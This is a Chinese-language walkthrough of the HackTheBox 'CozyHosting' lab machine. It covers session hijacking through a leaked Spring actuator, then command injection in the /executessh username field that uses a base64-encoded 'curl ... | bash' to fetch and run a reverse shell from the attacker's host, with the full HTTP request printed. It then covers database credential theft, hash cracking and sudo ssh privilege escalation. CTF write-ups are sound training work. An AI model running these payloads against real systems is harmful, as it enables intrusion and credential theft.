HackTheBox—CozyHosting靶机

前言

打靶训练第五台。

最近开始玩HTB这个平台了。不知道为什么 我的windows客户端始终无法连接上,每次都会提示我什么证书错误,但是kali连接就不会出什么问题。所以打靶只能基于kali平台了。其实 什么平台打靶 什么工具打靶 都是其次的,主要还是打靶过程中的思路和技巧。B站的红队笔记师傅 他的所有打靶视频似乎都是基于kali

信息收集

连接上服务器后 启动机器 直接将机器的IP给出来了。

image-20231009191708993

尝试ping一下 是否可以ping通

c

成功ping通 使用nmap进行端口探测

nmap -sV 10.10.11.230
image-20231009191851516

得到开放端口有 22 80端口

简单分析一下

22端口对应的服务为ssh 机器为一台linux 机器(这里机器页面也指出来了。)

常见对应的攻击方式可能存在ssh暴力破解

80端酒对应的是http服务 也是我们通常打点的入口。

常见对应的方式就多了,web基础漏洞 信息泄露 文件上传 RCE等都有可能存在。

开放了80端口 直接访问看一下。

直接访问 无法访问 需要修改hosts文件

Linux直接在 /etc/hosts

10.10.11.230 cozyhosting.htb

保存后重新访问。

image-20231009192556993

没看出来什么提示信息。

目录扫描

image-20231009192751989

扫描结果

image-20231009193221298

有actuator 这是spring中有名的未授权访问

访问sessions目录得到有效信息。

6BF14CA498E482F2B643FB1A417D5010 "kanderson"

通过查阅网上资料得到 在这里修改JSESSIONID 可以实现越权登录。

访问/admin 抓包修改内容 可以成功登录进去。

image-20231009203812235

反弹shell

通过尝试和翻阅其他师傅的WP得到 在这一处存在RCE

image-20231009203937533

抓包重放数据包。

通过username反弹shell。

在这里由于不可以存在空格和+号,于是这里使用的是curl命令反弹shell。

curl 10.10.14.110/1.sh | bash

kali需要写好1.sh中的反弹shell代码

image-20231009213755711

将上面的进行base64编码 然后拼接payload。

POST /executessh HTTP/1.1

Host: cozyhosting.htb

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 92

Origin: http://cozyhosting.htb

Connection: close

Referer: http://cozyhosting.htb/admin

Cookie: JSESSIONID=6BF14CA498E482F2B643FB1A417D5010

Upgrade-Insecure-Requests: 1



host=127&username=;echo${IFS}"Y3VybCAxMC4xMC4xNC4xMTAvMS5zaCB8IGJhc2g="|base64${IFS}-d|bash;

然后kali那边启动服务。

python3 -m http.server 80

然后反弹shell

image-20231009214334803

权限提升

切换到home下发现 josh目录

image-20231009214500043

但是我们没有权限进去。

猜测这可能是ssh连接的账号。

将/app目录下的 jar文件 下载下来并进行 解包操作。

image-20231009214653216

翻看得到敏感数据

image-20231009214732300

其中得到数据库的账号密码。

连接数据库

psql -U postgres -W -h localhost -d cozyhosting

然后将密码粘贴。

成功进入数据库得到带hash值的账号密码

image-20231009215134977

使用john暴破出来第一个为

manchesterunited

使用ssh直接连接。

账号为josh

image-20231009220249191

成功进入。

也得到了第一部分的flag。

然后直接使用sudo -l查看可提权选项。

image-20231009220406156

得到可以使用ssh。

于是直接去GTF上查找相关内容。

image-20231009220450287
image-20231009220500454

执行后成功提权为root用户 并得到flag。

image-20231009220531256

总结

这台靶机的难度在HTB上是easy模式 但是我感觉对于我来说并不是easy模式 难点主要在于反弹shell中使用curl反弹的方式以前没有用过。然后就是通过对jar文件进行解包得到数据库密码泄露,从而得到ssh的密码。权限提升的地方反而很简单,无脑在GTF上赋值就可以了。